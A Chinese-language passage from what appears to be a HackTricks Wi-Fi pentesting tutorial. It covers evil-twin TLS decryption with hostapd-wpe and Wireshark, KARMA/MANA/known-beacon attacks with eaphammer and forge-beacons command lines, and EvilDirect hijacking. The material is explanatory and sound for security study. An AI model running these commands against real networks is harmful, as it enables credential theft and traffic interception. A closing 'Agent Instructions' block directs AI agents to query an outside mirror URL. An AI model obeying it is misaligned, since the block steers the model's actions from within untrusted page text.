在\_hostapd-wpe\_的**配置**中**注释**包含**dh\_file**的行（从`dh_file=/etc/hostapd-wpe/certs/dh`到`#dh_file=/etc/hostapd-wpe/certs/dh`）\
这将使`hostapd-wpe`使用RSA交换密钥，而不是DH，因此您将能够稍后**知道服务器的私钥**来**解密**流量。

现在像往常一样使用修改后的配置启动**恶意双子**使用\*\*`hostapd-wpe`**。同时，在执行恶意双子攻击的**接口**上启动**`wireshark`\*\*。

现在或稍后（当您已经捕获了一些认证意图时），您可以在`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`中向wireshark添加私有RSA密钥。

添加一个新条目并填写以下值：**IP地址 = any** -- **端口 = 0** -- **协议 = 数据** -- **密钥文件**（**选择您的密钥文件**，为避免问题，请选择一个**没有密码保护**的密钥文件）。

![](/files/PHLMyT4vYDXyiA1rYntG)

然后查看新的\*\*"解密的TLS"标签\*\*：

![](/files/kMU0VSbhG99NRA0plIHk)

## KARMA、MANA、Loud MANA和已知信标攻击

### ESSID和MAC黑/白名单

不同类型的媒体访问控制过滤列表（MFACLs）及其相应的模式和对恶意接入点（AP）行为的影响：

1. **基于MAC的白名单**：

* 恶意AP将仅对白名单中指定的设备的探测请求做出响应，对所有未列出的设备保持不可见。

2. **基于MAC的黑名单**：

* 恶意AP将忽略黑名单中设备的探测请求，有效地使恶意AP对这些特定设备不可见。

3. **基于ESSID的白名单**：

* 恶意AP将仅对列出的特定ESSID的探测请求做出响应，使其对不包含这些ESSID的首选网络列表（PNLs）的设备不可见。

4. **基于ESSID的黑名单**：

* 恶意AP将不对黑名单中的特定ESSID的探测请求做出响应，使其对寻找这些特定网络的设备不可见。

```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```

```bash
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```

### KARMA

这种方法允许攻击者创建一个恶意接入点（AP），它会响应所有寻找连接网络的设备的探测请求。这种技术通过模仿设备正在搜索的网络，**欺骗设备连接到攻击者的AP**。一旦设备向这个恶意AP发送连接请求，它会完成连接，导致设备错误地连接到攻击者的网络。

### MANA

随后，**设备开始忽略未经请求的网络响应**，降低了原始karma攻击的有效性。然而，Ian de Villiers和Dominic White引入了一种新方法，称为**MANA攻击**。这种方法涉及恶意AP通过响应设备的广播探测请求来**捕获设备的首选网络列表（PNL）**，并提供设备之前请求过的网络名称（SSID）。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式，绕过了原始karma攻击的保护措施。

MANA攻击通过监视设备的定向和广播探测请求来运作。对于定向请求，它记录设备的MAC地址和请求的网络名称，并将这些信息添加到列表中。当接收到广播请求时，AP会回复与设备列表中任何网络匹配的信息，诱使设备连接到恶意AP。

```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```

### Loud MANA

**Loud MANA攻击**是一种高级策略，用于当设备不使用定向探测或攻击者不知道它们的首选网络列表（PNL）时。它的操作原理是**同一区域的设备很可能在它们的PNL中共享一些网络名称**。与有选择性地响应不同，这种攻击会为所有观察到的设备的组合PNL中发现的每个网络名称（ESSID）广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点（AP）的机会。

```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```

### 已知信标攻击

当**Loud MANA攻击**可能不够时，**已知信标攻击**提供了另一种方法。该方法通过模拟一个响应任何网络名称的AP，循环遍历来自字典的潜在ESSID列表，**通过强制连接过程**。这会模拟存在大量网络的情况，希望能够匹配受害者PNL中的ESSID，促使连接尝试连接到伪造的AP。该攻击可以通过与`--loud`选项结合使用来增强，以更积极地尝试诱捕设备。

Eaphammer将此攻击实现为MANA攻击，其中列表中的所有ESSID都会被充电（您还可以将其与`--loud`结合使用，创建Loud MANA + Known beacons攻击）:

```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```

**已知的信标突发攻击**

**已知的信标突发攻击**涉及对文件中列出的每个ESSID进行信标帧的快速广播。这将创建一个充满虚假网络的密集环境，极大地增加设备连接到恶意AP的可能性，特别是当与MANA攻击结合使用时。该技术利用速度和数量来淹没设备的网络选择机制。

```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```

## Wi-Fi Direct

**Wi-Fi Direct** 是一种协议，使设备可以直接使用 Wi-Fi 连接，无需传统无线接入点。这种能力已集成到各种物联网（IoT）设备中，如打印机和电视，促进了设备之间的直接通信。Wi-Fi Direct 的一个显著特点是，一个设备扮演访问点的角色，称为组所有者，用于管理连接。

Wi-Fi Direct 连接的安全性是通过 **Wi-Fi Protected Setup (WPS)** 建立的，支持几种安全配对方法，包括：

* **按键配置 (PBC)**
* **PIN 输入**
* **近场通信 (NFC)**

这些方法，特别是 PIN 输入，容易受到传统 Wi-Fi 网络中 WPS 相同的漏洞影响，使它们成为类似攻击向量的目标。

### EvilDirect Hijacking

**EvilDirect Hijacking** 是一种针对 Wi-Fi Direct 的特定攻击。它类似于恶意双胞胎攻击的概念，但针对 Wi-Fi Direct 连接。在这种情况下，攻击者冒充合法的组所有者，旨在欺骗设备连接到恶意实体。可以使用诸如 `airbase-ng` 这样的工具执行此方法，通过指定被冒充设备的信道、ESSID 和 MAC 地址：

## 参考资料

* <https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee>
* <https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9>
* <https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38>
* <https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d>
* <https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf>
* <http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/>
* <https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/>
* <https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d>
* <https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>
* <https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/>

TODO: 查看 <https://github.com/wifiphisher/wifiphisher>（使用 Facebook 登录和在 captive portals 中模拟 WPA）

<figure><img src="/files/KRzboz7CsxUiMkcB5sXP" alt=""><figcaption></figcaption></figure>

加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界

**最新公告**\
了解最新发布的赏金计划和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/generic-methodologies-and-resources/pentesting-wifi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
